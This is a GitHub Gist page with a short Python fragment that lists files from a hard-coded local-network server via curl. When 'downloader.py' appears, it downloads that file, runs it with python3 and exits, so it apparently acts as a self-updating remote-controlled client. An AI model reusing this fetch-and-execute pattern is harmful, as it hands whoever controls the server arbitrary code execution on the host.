Last active
July 7, 2020 16:42
-
-
Save NimishMishra/33ec552854ecf9a2d636c9c06b44c698 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
loaded_files = [] | |
def refresh_downloader(): | |
COMMAND = "curl http://192.168.43.38:9000/downloader.py -o downloader.py" | |
run_command(COMMAND) | |
COMMAND = "python3 downloader.py" | |
command_split = COMMAND.split(" ") | |
subprocess.Popen(command_split) | |
os._exit(os.EX_OK) | |
def fetch_directory_list(): | |
global loaded_files | |
COMMAND = "curl http://192.168.43.38:9000" | |
output = run_command(COMMAND) | |
try: | |
output = output.decode('utf-8') | |
except: | |
pass | |
output_split = output.split("\n") | |
try: | |
for line in output_split: | |
if(line not in loaded_files and line != "status.txt"): | |
if(line == "downloader.py"): | |
if(data[1] == "1"): | |
time.sleep(5) | |
refresh_downloader() | |
else: | |
loaded_files.append(line) | |
except: | |
pass |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment